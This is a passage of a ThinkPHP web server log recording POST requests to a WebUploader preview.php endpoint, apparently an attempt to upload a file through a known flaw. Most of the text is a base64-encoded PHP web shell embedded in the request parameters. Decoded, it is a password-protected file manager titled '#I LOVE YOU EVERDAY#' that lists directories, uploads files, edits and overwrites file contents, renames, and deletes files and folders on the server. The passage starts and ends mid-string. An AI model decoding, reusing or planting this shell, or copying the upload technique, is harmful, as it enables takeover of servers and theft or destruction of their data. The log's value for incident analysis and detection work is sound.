JzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'user' => 'webuploader', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:06:17+08:00 ] 119.42.146.234 POST 59.110.137.245/static/webuploader/0.1.5/server/preview.php [运行时间:0.002703s] [吞吐率:369.93req/s] [内存消耗:196.73kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'static', 2 => 'webuploader', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0